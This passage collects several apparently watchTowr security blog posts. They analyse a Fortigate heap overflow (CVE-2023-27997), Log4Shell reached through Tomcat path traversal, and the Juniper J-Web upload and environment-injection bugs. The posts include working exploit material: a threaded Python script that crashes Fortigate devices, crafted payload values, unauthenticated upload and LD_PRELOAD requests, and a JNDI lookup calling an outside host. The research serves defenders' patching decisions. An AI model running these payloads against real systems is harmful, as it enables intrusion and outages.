After this, it allocates a buffer for half of the size of the encoded data, and then iterates over all the encoded data, converting each set of two bytes into one byte (via two calls to decodeEncodedByte - they just convert ASCII hex digits to binary). After this, it extracts an encodingMethod from the first byte of the decoded data, and ensures it is not zero (although it doesn't appear to return if this error condition is met, interestingly).

After this is where things get interesting, as a payload length is extracted from the decoded data.

v14, here, is just a temporary value which holds a 16-bit length obtained from the decoded data. The payload length is obtained by XOR'ing this 16-bit value with the first byte of the expanded salt. This is where the bug manifests - can you spot it?

If we put this code into a real C IDE, such as Visual Studio, we'll get a helpful warning from the compiler:

Xortigate, or CVE-2023-27997 - The Rumoured RCE That Was
The compiler is warning us of something!

This warning, though verbose, is just cautioning us that the xor operator is taking in a 16-bit short and an 8-bit char, and that the output will always be a char according to the C spec, rather than a 16-bit short. Since this is somewhat counterintuitive, the compiler emits a warning.

If we look at the disassembled code itself, we can see this is where the movzx instructions we saw before come into play. Let's take a look again:

movzx   eax, word ptr [rdx+4]	; short v14 = ((short*)decodedData)[1]
xor     esi, eax				; short result = v14 XOR expandedSalt[0]
movzx   eax, ah					; char v15 = result

And what does the patched version look like? Something like this:

movzx   ecx, byte ptr [rbp+var_50]	; short salt = (char)expandedSalt[0]
movzx   eax, word ptr [rdx+4]		; short v14 = ((short*)decodedData)[1]
xor     ecx, eax					; result = salt XOR v14
movzx   eax, ah						; eax = (char)result
xor     al, byte ptr [rbp+var_50+1] ; HIBYTE(eax) = HIBYTE(result)

In C, the difference is more subtle. The vulnerable version might look as above:

unsigned char payloadLength = (v14 ^ expandedSalt[0]);

While the fixed:

short payloadLength = ((short) v14 ^ expandedSalt[0]);

We can see, now, that the payload length variable has increased from 8 bits to 16.

The final thing that this code snippet does is to perform a length check, ensuring that the payloadLength as obtained from the decoded data does not exceed the length of the allocated output buffer. However, because the payloadLength has been truncated to 8 bits, this check is ineffective.

Take, for example, a buffer of 0x200 bytes, which encodes within it a payloadLength of 0x1000 bytes. Only the bottom 8 bits of the payloadLength is observed, and the comparison 0x00 <= 0x200 is used, which obviously passes.

Reading the rest of the function reveals that this payloadLength is used to control the amount of data we process:

if (v14 != 0)
{
	__int64 lastIndex = payloadLength - 1;
	int inputIndex = 2;
	char* outputData = &decodedData[5];
	for(int outputIndex = 0; ; outputIndex++)
	{
		outputData[outputIndex] ^= expandedSalt[inputIndex];
		if (lastIndex == outputIndex)
			break;

		inputIndex = (outputIndex + 3) % 0x10
		if (inputIndex == 0)
		{
			MD5_CTX md5Data;
			MD5_Init(&md5Data);
			MD5_Update(&md5Data, expandedSalt, 16LL);
			MD5_Final(expandedSalt, &md5Data);
		}
	}
}

Here we are iterating over our output buffer, XOR'ing in data from the expanded salt. Every 0x10 bytes, we MD5 the salt, and use the result as the salt for the next 0x10 bytes. It seems clear that a payloadLength of over 0xFF will cause an out-of-bounds write.

Exploitation

Now that we understand the bug, it's time to exploit it! We won't be publishing a full RCE exploit - we don't see the need to publish this at this stage - but instead will describe crafting an exploit which will corrupt the heap and cause the Fortigate device to crash and reboot.

Let's recap on that enc parameter. What do we need to satisfy? Referring to our code snippet above, we must satisfy the following:

  • The value must be over 11 bytes in length, and of an even length
  • The value must contain a hex-encoded ASCII payload, which must be xor'ed with MD5(salt + payload[0:8])
  • The decoded payload must have bytes 2 to 4 - our payloadLength - set to something greater than 0x00FF

If these conditions are met, then an out-of-bounds write will occur.

The obvious hurdle here is encoding the payload, which requires that we know the g_rmt_loginConn_salt value. Fortunately, if we query the /remote/info endpoint, the server will simply tell us this value, since it is not cryptographically sensitive:

<?xml version='1.0' encoding='utf-8'?>
<info>
<api encmethod='0' salt='401cbdce' remoteauthtimeout='30' sso_port='8020' f='4df' />
</info>

Since MD5 is fairly fast, it's possible to simply bruteforce which values of payload[0:8] will decode to something containing a payloadLength of a given value. Let's look for one with the value 0xc0de, and write a little C code:

int main()
{
	char encData[8];
	memset(encData, '0', sizeof(encData));

	for(unsigned long valToInc = 0; valToInc != 0xffff; valToInc++)
	{
		char valAsHex[10];
		sprintf_s(valAsHex, 10, "%04lx", valToInc);
		memcpy(&encData[4], valAsHex, 4);

		unsigned char hash[0x10];
		MD5Data(g_rmt_loginConn_salt, encData, 8, (unsigned char*)&hash);
		unsigned char decodedSizeLow = hash[2] ^ encData[2];
		unsigned char decodedSizeHigh = hash[3] ^ encData[3];
		unsigned short decodedSize = ((unsigned short)decodedSizeLow) | (((unsigned short)decodedSizeHigh) << 8);
		if (decodedSize == 0xbeef)
		{
			printf("Found value with decodedSize 0x%04lx: 0x%016llx\n", decodedSize, (unsigned long long)encData);
			break;
		}
	}

	return 0;
}

we're soon rewarded:

Found value with decodedSize 0xbeef: 0x000000247255fc38

The 'size' field here is 0x0024, which when XOR'ed with the result of MD5("401cbdce" + "000000247255fc38"), yields a hash of 5c f9 df 8e 0b 03 40 e7 05 84 f0 cc 11 a7 8c a5 - which when XOR'ed with our original input gives a result starting 6c c9 ef be - you can see our new size, 0xbeef, in little-endian format.

Finally, we'll make our input greater than 0xbe bytes so that the truncated length check will pass. Our final enc value:

000000247255fc38aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

We apply this by POST'ing it to /remote/logincheck, along with some other (bogus) parameters:

POST /remote/logincheck HTTP/1.1
Host: <IP>:<port>
Content-Length: <correct value>
Connection: close

ajax=1&username=test&realm=&credential=&enc=000000247255fc38aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... 

And we can see the result in the system logs:

Xortigate, or CVE-2023-27997 - The Rumoured RCE That Was

Note that the stack trace here is a red herring - since there is heap corruption, the system is crashing at a point unrelated to the actual attack point. It is also worth pointing out that, since the heap is non-deterministic, running the attack multiple times with differing sizes may be necessary before heap corruption manifests a crash.

I used the following (very messy!) Python code which took a few seconds to a few minutes to cause a crash:

import threading
import requests as requests
import time

def threadMain(idx):
	for n in range(1000 + idx, 32670000, 10):
			try:
				payload = "ajax=1&username=asdf&realm=&enc=000000247255fc38" + ('a' * (n * 2) )
				resp = requests.post(
					f"https://<IP>:<port>/remote/logincheck",
					data=payload,
					verify=False
                    )
			except Exception as e:
				pass

threads = []
for n in range(0, 10):
	t = threading.Thread(target=threadMain, args=(n,))
	t.start()
	threads.append(t)

while(True):
	for t in threads: 
		t.join()


#a()

Impact

While researching the bug itself is a fun way to spend a rainy Sunday afternoon, it's important to remember our original motivation for this, which is to ensure that concerned administrators are able to make a reasoned risk-based decision in regards to remediation. A crucial variable in this decision is the likelihood of exploitation.

It's important to note that this class of bug, the heap overflow, is usually not easy to exploit (with some exceptions). Compared to other classes, such as a command injection, for example, exploitation for full RCE is likely to be out of reach for many attackers unless an exploit is authored by a skilled researcher and subsequently becomes public.

Exploitation is further complicated by the use of the MD5 hash on the output data, but is by no means impossible. Indeed, this bug may attract the kind of exploit developers keen to showcase their skills.

Based on this, it seems unlikely (but at the same time, also plausible) that we'll see widespread exploitation for RCE. However, this is not the only threat from this bug - it is important to note that it is very easy even for an unskilled attacker to craft an exploit which will crash the target device and force it to reboot. In contrast to full RCE, it seems likely that this will be exploited by unskilled attackers for their amusement.

Rapid Response

We hope this blog post is useful to those who are in the unfortunate position of making a patching decision, and helps to offset Fortinet's usual tight-lipped approach to vulnerability disclosure.

For reference, it took a watchTowr researcher around seven hours to reproduce the issue (including around two hours to run Diaphora!). It seems likely that sophisticated adversaries did the same thing, hoping for a window of exploitation before the vulnerability details became public on the 13th.

This vulnerability was reproduced by watchTowr researchers on the 11th of June 2023, well ahead of the scheduled embargo lifting on the 13th.

Soon after understanding the issue, watchTowr automated detection and proactively ran hunts across client estates, ensuring that administrators were aware of any vulnerable installations and had adequate time to remediate issues before the public release of the bug on the 13th.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about how the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, can support your organisation, please get in touch.

Log4Shell Is Dead! Long Live Log4Shell!

By: Sonny
14 August 2023 at 09:05
Log4Shell Is Dead! Long Live Log4Shell!

As part of our Continuous Automated Red Teaming and Attack Surface Management technology - the watchTowr Platform - we're incredibly proud of our ability to discover nested, exploitable vulnerabilities across huge attack surfaces.

Sometimes, we see old vulnerabilities appear - accessible and exploitable only via unusual path ways, or by abusing unintended behaviour. In this blogpost, we'll be talking about our experience of building the watchTowr Platform to highlight these behaviours and chain exploitation  - using Log4Shell as an example that we commonly see.

To this day, the watchTowr Platform regularly and autonomously finds Log4Shell in trivially exploitable situations across wide attack surfaces - primarily due to it's ubiquitous nature.

But most interestingly, when chaining vulnerabilities together, we see Log4Shell appear in majestic, beautiful manners.

'Log4Shell' is a word that causes trauma, stress and a range of other feelings in security practitioners - even 18+ months after disclosure of the initial vulnerability.

As a brief refresher, Log4Shell set most of the Internet on fire in December 2021 - when a code execution vulnerability in one of the most prevalent and widely used Java logging packages (Log4J) was discovered. The security world sprung into action, identifying vulnerable systems, working out what was exploitable (with the help of technology like the watchTowr Platform), and remediating rapidly.

18+ months later, Log4Shell has persisted - in various forms. Given the prevalence of Log4J, in most enterprise environments, everything was vulnerable. Thus prioritisation was key to handling the massive remediation task - focused on hosts and systems that could be exploited via the Internet (regardless of whether first-order, second-order, third-order etc processing).

Log4Shell was dead! Well, not quite..

But let's start with.. "unusual behaviour".

Tomcat Path Normalisation

Path Normalisation is well-trodden ground, with some fantastic prior art:

But, as a simple summary:

When utilising NGINX functionality 'proxy_pass', NGINX (and other reverse proxies) possesses the capability to transmit all incoming requests targeted at a specific path (lets use '/publicfolder' in this example) to another server  - for the purpose of this example, let's say it's passed to 'http://internal/app1/'. For a brief explainer on 'proxy_pass', you can find it here.

If we "visualise" typical architecture, it might look like the following:

NGINX <> Tomcat <> Target Application

Now, a few things worth noting:

  • NGINX considers "..;" to be a folder name, so a URL like "http://publicserver/publicfolder/..;/ is likely to match a configured proxy_pass rule and forward the request to the Tomcat server.
  • The Tomcat server considers "..;" to indicate path traversal and will translate the original URI provided to /app1/../

In this scenario, where unusual behaviour has been identified, an attacker could use the following example URL to traverse out the intended path: http://targetserver/publicfolder/..;/manager/html, and the request will be forwarded to http://internal/app1/../manager/html which ultimately becomes http://internal/manager/html.

As shown above in the example, commonly and lacking inspiration, this is used and abused to access Tomcat management interfaces - i.e. the Tomcat Manager - which would otherwise not be exposed to the internet.

But - as I'm sure anyone reading this post has already determined - there is a lot more we can realistically do with this - including other applications/servlets on the server which typically may only be accessible to localhost, traversing to different controllers of the initial application, or even different applications.

In short, we're suddenly exposed to significantly more attack surface (more application code, servlets, etc), that is expected to not be exposed to the Internet.

Long Live Log4Shell!

So, how is this relevant to Log4Shell?

As briefly mentioned - if we can begin to traverse outside of the expected application, it's plausible that we may access systems, applications, servlets (and any variation in between) that were de-prioritised from patching and remediation of Log4Shell given an understandable belief that exploitation via the Internet should have in theory not been possible.

This means we can chain these two behaviours to still find vulnerable systems at scale, following the following process;

  1. Identify systems that show signs of path normalisation behaviour
  2. Identify exposed extra attack surface via the path normalisation behaviour
  3. Send benign Log4Shell payloads to enumerated extra attack surface.

Identify systems that show signs of path normalisation behaviour

We can use the following blunt-but-simple Nuclei template to identify systems that show unusual behaviour:

id: path-normalization-find-the-behaviour-wt
info:
  name: name
  author: watchTowr
  severity: info
  description: Identifying path normalization behaviour at scale
  tags: tomcat,path-normalization

http:
  - raw:
      - |+
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET {{RootURL}}/..;/..;/..;/..;/..;/..;/..;/..;/..;/..;/..;/..;/ HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET {{RootURL}}/..;/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
    - type: dsl
      dsl:
        - "status_code_1 != 400 && status_code_2 == 400 && status_code_3 != 400"

    extractors:
    - type: dsl 
      dsl:
        - status_code_1 
        - status_code_2 
        - status_code_3

The configured matchers pose the following questions regarding the responses:

  1. Does the root path trigger a 400 Bad Request error?
  2. Does an unusual number of ..;/ traversals lead to a 400 error?
  3. Does a single ..;/ traversal on the root, not result in a 400 error?

Should these behaviours be observed, its worth investigating further. While false positives (FPs) remain feasible with this blunt detection mechanism with certain proxies, the likelihood is high that the request is being processed at a different level, introducing a new attack surface - and thus for the purposes of automation, we can work off this.

Identify exposed extra attack surface via the path normalisation behaviour

This is now as simple as bruteforcing for content and applications, using the aforementioned path normalisation. An example command is below to demonstrate the simplicity;

$ ffuf -c -w worldist.txt -u "https://watchtowr.com/..;/FUZZ"

Send benign Log4Shell payloads to enumerated extra attack surface.

Assuming the step above provides us with enumerated attack surface, we can send benign Log4Shell payloads in various formats to this newly enumerated, attack surface.

Below is an example, illustrating the simplicitly of combining an identified path normalization issue, with a known existing vulnerability (Log4Shell).

GET /..;/exampleappname/ HTTP/1.1
Host: watchtowr.com
Accept: ${jndi:ldap://oob.watchtowr.com/watchtowr.class}

Conclusion

I hope you enjoyed this look at how we typically chain, at scale, strange behaviour with highly-exploitable weaknesses.

Whilst nothing described above is necessarily bleeding-edge, as a team we're suckers for ways in which we can use unintended behaviour to exploit real vulnerabilities - at scale. These concepts are extrapolated and loaded into the watchTowr Platform - allowing for the detection of unusual behaviour and further exploitation.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please contact us.

CVE-2023-36844 And Friends: RCE In Juniper Devices

By: Sonny
25 August 2023 at 09:34
CVE-2023-36844 And Friends: RCE In Juniper Devices

As part of our Continuous Automated Red Teaming and Attack Surface Management technology - the watchTowr Platform - we're incredibly proud of our ability to discover nested, exploitable vulnerabilities across huge attack surfaces.

Through our rapid PoC process, we enable our clients to understand if they are vulnerable to emerging weaknesses before active, indiscriminate exploitation can begin - continuously.

Because of this, a recent out-of-cycle Juniper security bulletin caught our attention, describing two bugs which, although only a 5.3 on the CVSS scale individually, supposedly could be combined for RCE (with a combined rating of 9.8 within CVSSv3 - we didn't know this was possible but anyway).

CVE-2023-36844 And Friends: RCE In Juniper Devices

We're no strangers to "next-gen" firewalls and switches here at watchTowr (see our recent healthy obsession with Fortinet), and thus we are equally not strangers to the prolific nature of the bugs that seem to live in these so-called 'hardened appliances and devices'. As we are hopefully slowly demonstrating, these 'hardened appliances' are often the softest route into a network for an advanced attacker.

The bulletin actually contains four CVEs, as the two bugs apply to two separate platforms (the -EX switches and -SRX firewall devices). We'll focus just on the -SRX bugs, as we expect the -EX bugs to be identical. These are two individual flaws.

For the uninitiated, or those that don't spend their days browsing catalogues, Juniper -EX devices are switches, and -SRX devices are firewalls, "powered by Junos® OS" and according to Juniper are an "integral part of Juniper Connected Security framework that protects your remote office, branch, campus, data center, and cloud by extending security to every point of connection on the network". Yes.

Anyway, back to the bulletin and the vulnerabilities described within.

The first, CVE-2023-36846, is described as a "Missing Authentication for Critical Function vulnerability", while the second, CVE-2023-36845, is described as a "PHP External Variable Modification vulnerability".

These, put mildly, sound interesting. Being the responsible, friendly hackers that we are, we decided to investigate in order to provide network administrators with more information to aid in the recurring 'patch or no patch' decision, and to aid in patch verification.

As of the time of writing, there is very little information available other than the terse security bulletin. Great!~

First Impressions

Since the advisory indicates that a workaround is to 'disable J-Web', we'll start there. J-Web is the web-based UI that can be used to configure the appliance by those who are reluctant to jump into the appliance's CLI interface.

Taking the metaphorical lid off the appliance quickly reveals that J-Web is almost entirely written in PHP, a language with a well-earned historic reputation of prioritising usability and ease-of-development over security.

Editors note: PHP is a great language, Aliz and Sonny are not enlightened.

A quick scroll through the PHP code suggests an ill-maintained platform, and indeed, very quickly we see thousands of 'code smells', mostly harmless typos and mistakes that don't impact functionality, but cause us to reduce confidence in the codebase. Comments such as "This is a hack until 9.4", found in version 22 of the codebase, suggest that proper care has not been taken to address technical debt accrued in the codebase's long 25-year lifespan.

We're not sure what's going on here, but it does not inspire confidence whatever it is:

//803142
function getLockerkey() {
    global $user;
    $keyvar = "js2nr0px1R2";
    $sysVersion = $user->xnm->command('show version',true,true,null);
    $sysVersion = $user->transform->strip_ns($sysVersion);
    $modelNo = $user->xpath->get_xpath_node_value($sysVersion,'//software-information/product-model');
    return base64_encode(substr($modelNo, 0, 6) . '$' . $keyvar);
}

and honestly, what is this?

    // Changing raw variable to take only request type
    //$raw = trim(stripslashes(file_get_contents('php://input')));
    $raw = $_POST['requestType'];
    $raw = substr($raw,1);
    $raw = 'requestType=>'.$raw;
    $input = array();
    $input = explode("#@^",$raw);
    foreach($input as $arg) {
        $params = array();
        $params = explode("=>",$arg);
        ${$params[0]} = $params[1];
    }

A quick look at most of the PHP files shows that authentication is managed by the user class, and the following pattern can be seen in most of the files that require authentication:

$user = new user(true);
if (!$user->is_authenticated()) {
    return;
}

While straightforward and readable, this approach can be error-prone, as each file requires a similar snippet, and if omitted, access can be granted unintentionally. Hunting through the codebase, we find that most files have the correct checks implemented - with a number of exceptions, including webauth_operation.php, that do not.

Instead of authenticating via the user class, it instead invokes the sajax_handle_client_request, but critically it provides a value of false for the doauth parameter, meaning that authentication will not be performed.

CVE-2023-36844 And Friends: RCE In Juniper Devices
"doauth: false"? Colour me interested!

Going back to the bug we're hunting, this seems to align with a 'Missing Authentication' condition - this could be the n-day tracked as CVE-2023-36846 that we are looking for!

Can we persuade this webauth_operation.php file to do our bidding without a requirement for pesky authentication?

Well, it turns out we can.

Of $internal_functions

This webauth_operation expects to receive a POST request containing two variables - rs and rsargs. As you might expect, the first conveys the name of the operation to be carried out, and the second specifies any arguments which that operation expects.

Here's what the calling code looks like. We can see that the $internal_functions array contains handlers for functions, keyed by function name:

                //PR 826518, 1269932
                $sajax_black_list_functions = Array ("sajax_handle_client_request", "sajax_init", "errmsg_format_serialized_events");
                $internal_functions = get_defined_functions();

                if (! is_callable($func_name) || !in_array($func_to_call,$internal_functions["user"]) || in_array($func_to_call,$sajax_black_list_functions))
                        echo "-:function not callable";
                else {
         			error_log("PERF: ".$func_name." Start: ".date('Y-m-d H:i:s.') . gettimeofday()['usec']);
                    $result = call_user_func_array($func_name, $args);
          			error_log("PERF: ".$func_name." End: ".date('Y-m-d H:i:s.') . gettimeofday()['usec']);
                	if ($getQuery)
                		echo $result ;
                	else
                		echo trim(sajax_get_js_repr($result));
                }

The 'dispatch' code which handles these operations, however, is not a simple associative array as one might expect, and so extracting a list of operations isn't as simple as it may seem. We decided the 'path of least resistance' was to modify the PHP source file, and print out a list of operations. However, this turned out to be slightly more work than we anticipated.

Firstly, we noted that the PHP files were read-only.

Initially we thought they were deliberately mounted as such, and could simply be remounted read-write, but a little more investigation revealed that they are stored on an lzma-compressed ISO (yes, as in iso9660) volume. Some work went into modifying the iso file, recompressing with BSD's mkuzip tool, and booting the modified system, only to find that the compressed iso was rejected on boot, as it failed a signature check. D'oh! Shortly after this, we realised that the JunOS device provides support for union mounts - similar to Linux's overlayFS - and we were able to simply use that to emulate a writable partition.

 mkdir /root/writable
 mount_unionfs /root/writable /.mount/packages/mnt/jweb-srxtvp-29090167/jail/html/includes

With the files now writable, it is easy to add a quick PHP statement to write the contents of the internal_functions array to the HTML response.

$internal_functions = get_defined_functions();
echo var_dump($internal_functions['user']);

The result is almost 150 individual functions, spanning everything from simple helpers to format IP addresses to complex functions that interact with the appliance's CLI. One promising-looking candidate is the move_file function:

function move_file ($src, $dst, $overwrite = false, $copy = false) 
{
    global $user;

    $args = array(
		'source' => $src, 
		'destination' => $dst
    );

    if ($copy) {
		$rpc = 'file-copy';
    } else {
		$rpc = 'file-move';

		if ($overwrite) {
		    $args['replace'] = 'replace';
		}
    }

    $xml = $user->xnm->query($rpc, $args, false);

    if (strstr($xml, 'xnm:error')) {
		return $xml;
    } else {
		return null;
    }
}

While it does seem, at first glance, that this function is exactly the sort of 'interesting functionality' that we're looking for, unfortunately it is inaccessible to us. Attempting to invoke it results in a promising-looking HTTP 200 response, but no actual file moving takes places, and if we examine the the PHP log (/var/jail/sess/php.log) we see the following:

[25-Aug-2023 00:00:37 America/Los_Angeles] CACHING FLOW: query user not set..

This is a message from the junoscript class, which is the type of $user->xnm. Unfortunately, since we are not logged in, the junoscript class is not fully constructed, and we are unable to perform any queries over the RPC mechanism. This causes most of the interesting-looking internal_functions handlers to fail uninterestingly. Some of them, however, do not use the RPC mechanism to carry out their duty, and are thus able to run even though the junoscript is not fully logged in.

Interesting Internal Functions

We're at a convenient point now to circle back to the bug description of CVE-2023-36846, one of the bugs we are trying to reproduce. Let's take a close look at the vendor's advice:

With a specific request that doesn't require authentication an attacker is 
able to upload arbitrary files via J-Web, leading to a loss of integrity for 
a certain part of the file system

An arbitrary file upload bug. Taking a look through our list of $internal_functions, one stood out to us as being interesting in this context - one named do_upload, which is designed to handle the upload of a file.

It does, however, seem to be lacking any kind of authentication.

With no authentication requirement, we don't need any fancy tricks, and we can simply invoke the function as it is designed to be. It expects a single argument containing a JSON-encoded array. The array, as we can see in the code snippet below, should contain a fileName, a base64-encoded fileData, and a csize holding the target file size.

function do_upload($files) {
	$files = json_decode($files);
	foreach ($files as $file) {
		$fileData = $file->fileData;
		$intermediateSalt = md5(uniqid(rand(), true));
		$salt = substr($intermediateSalt, 0, 6);
		$token = hash("sha256", $file->fileName . $salt);
		//$token = md5(uniqid(rand(), true));
		$fileName = $token.getXSSEncodedValue($file->fileName);
		$fileName_extension = pathinfo($fileName, PATHINFO_EXTENSION);
		$fileName = $token . '.' . $fileName_extension;
		$csize = getXSSEncodedValue($file->csize);

		$fileData = substr($fileData, strpos($fileData, ",") + 1);
		$fileData = base64_decode($fileData);
		if (!check_filename($fileName, false)) {
			echo 'Invalid Filename';
			return;
		}
		$cf = "/var/tmp/" . $fileName;
		$byte = 1024 * 1024 * 4;
		if(file_exists($cf))
			unlink($cf);
		$fp = fopen($cf,'ab');
		if(flock($fp,LOCK_EX | LOCK_NB))
		{
			$ret = fwrite($fp,$fileData);		
			flock($fp, LOCK_UN);	
		}
		$rc = fclose($fp);//echo $ret;echo "|";echo $csize;die;
		if($ret == $csize) {
			$filenames['converted_fileName'][] = $fileName;
			$filenames['original_fileName'][] = $file->fileName;
		} else {
			$filenames[] = ''; //Error while uploading the file : miss-match in bytes 
		}
	}
	return $filenames;
}

Performing a POST without authentication yields a helpful response, telling us our file has been uploaded:

POST /webauth_operation.php HTTP/1.1
Host: xxxxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

rs=do_upload&rsargs[]=[{"fileName": "test.txt", "fileData": ",aGk=", "csize": 2}]
HTTP/1.1 200 OK
...

+:{"converted_fileName":  {0: '48cebc0d1548c854f2d5d52e65f3917f21e8c75894bcd9f9729c7322315f5ed0.txt'}, "original_fileName":  {0: 'test.txt'}}

Indeed, if we take a look on the appliance's filesystem, the file has been created with the correct contents. Neat.

root@:/ # cat /var/jail/tmp/48cebc0d1548c854f2d5d52e65f3917f21e8c75894bcd9f9729c7322315f5ed0.txt
hi

This is likely to be the first bug, CVE-2023-36846.

Attentive readers might be alarmed by the destination path of the file - the jail component suggests that the webserver is running in a BSD jail, which are a sort of Docker-like mechanism for isolating a processes userspace components (BSD proponents will no doubt want me to point out that jails predate Docker by a considerable margin, and I wouldn't want to risk offending them by omitting this otherwise-unrelated trivia). The jail doesn't actually get in our way very much as we progress with our research (and ultimately exploitation), but it's an important thing to bear in mind, as some paths later on will be relative to the jail root, /var/jail. This directory contains a full (albeit very minimal and stripped-down) userland for the operation of the webserver.

A Polluted Envonment

Satisfied that we've found the first bug, CVE-2023-36846, let's move on and look for the second, CVE-2023-36845. The vendor disclosure is terse:

Utilizing a crafted request an attacker is able to modify a certain PHP 
environment variable leading to partial loss of integrity, which may allow 
chaining to other vulnerabilities.

While this bug sounds like it resides in PHP code itself - as one would expect - we actually found it in a totally different location - the webserver itself.

You may notice that the webserver is the GoAhead software, which has had its share of flaws. Most notably, older versions (below 3.6.5) are prone to an environment variable injection attack (see here and here if you understand Chinese). Although the version of httpd on the Juniper appliance reports its version as 8.1.3, this bug seems to fit the description of what we're looking for. Since the PoC is very simple, let's give it a try - maybe we'll get lucky (spoiler: we do!)

The bug itself is really simple. It allows an attacker to set any environment variable simply by specifying the name of an uploaded file. For example, given the following HTTP request:

POST /modules/configuration/wizards/interfaces/widgets/wl.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Length: 145

------WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Disposition: form-data; name="TestEnvVar"

hello.
------WebKitFormBoundary3J5uz6sSgaM1KIxB

The CGI handler, in our case PHP, will be started with the TestEnvVar environment variable set to hello.. To verify this, we modified the PHP files on the appliance once again, inserting a phpinfo call into one of the source files, and invoked it with a  POST request containing a file-type attachment:

POST /webauth_operation.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryngts3YOfQfRAEypQ
Content-Length: 147

------WebKitFormBoundaryngts3YOfQfRAEypQ
Content-Disposition: form-data; name="TestEnvVar"

hello.
------WebKitFormBoundaryngts3YOfQfRAEypQ--

Somewhat surprisingly, the phpinfo dump of environment variables shows that the environment variable has indeed been created!

CVE-2023-36844 And Friends: RCE In Juniper Devices
why, hello to you, too!

This seems a bizarre situation, given the version numbering of the httpd binary. It is possible that the bug isn't actually in the GoAhead software at all, but rather in the Juniper-developed CGI glue. Either way, wherever the bug is, we've found it - we are able to 'pollute' the CGI environment by setting any environment variable we want to any content we wish. This is a pretty powerful primitive, and there are well-known ways of exploiting such a condition. Let's try them out.

Preloading Libraries

The usual exploit method for bugs of this class - the ability to set arbitrary environmental variables - is to set the LD_PRELOAD variable to point to a shared library file that we control. With the LD_PRELOAD variable set, the dynamic linker will helpfully pre-load the file we have under our control, giving us control over the machine.

In our case, we've uploaded a file into the filesystem already, using our previous bug.

Let's try it out! Note that we set the LD_LIBRARY_PATH to the /tmp directory, since it is relative to the jail root, and we set the LD_PRELOAD itself to the filename. We'll also set the LD_DEBUG variable so we can see what's going on if it fails - we've found this to be an invaluable resource when debugging anything relating to the dynamic linker.

POST /webauth_operation.php HTTP/1.1
...

------WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Disposition: form-data; name="ld_library_path"

/tmp
------WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Disposition: form-data; name="LD_PRELOAD"

c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so
------WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Disposition: form-data; name="LD_DEBUG"

ALL
------WebKitFormBoundary3J5uz6sSgaM1KIxB--

The response is somewhat disappointing:

HTTP/1.1 503 Service Unavailable
...

/libexec/ld-elf.so.1 is initialized, base address = 0x82d000
RTLD dynamic = 0x84ece8
RTLD pltgot  = 0
initializing thread locks
_rtld_thread_init: done
processing main program's program header
note osrel 1201524
note fctl0 0
note crt_no_init
AT_EXECPATH 0xffffdfe3 /usr/bin/php
obj_main path /usr/bin/php
Filling in DT_DEBUG entry
/usr/bin/php valid_hash_sysv 1 valid_hash_gnu 1 dynsymcount 970
lm_init("(null)")
lm_parse_file: open("/etc/libmap.conf") failed, No such file or directory
loading LD_PRELOAD libraries
 Searching for "c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so"
lm_find("(null)", "/tmp")
lmp_find("$DEFAULT$")
  Trying "/tmp/c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so"
  Failed to open "/tmp/c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so": Authentication error
search_library_pathfds('c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so', '(null)', fdp)
ld-elf.so.1: Shared object "c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so" not found

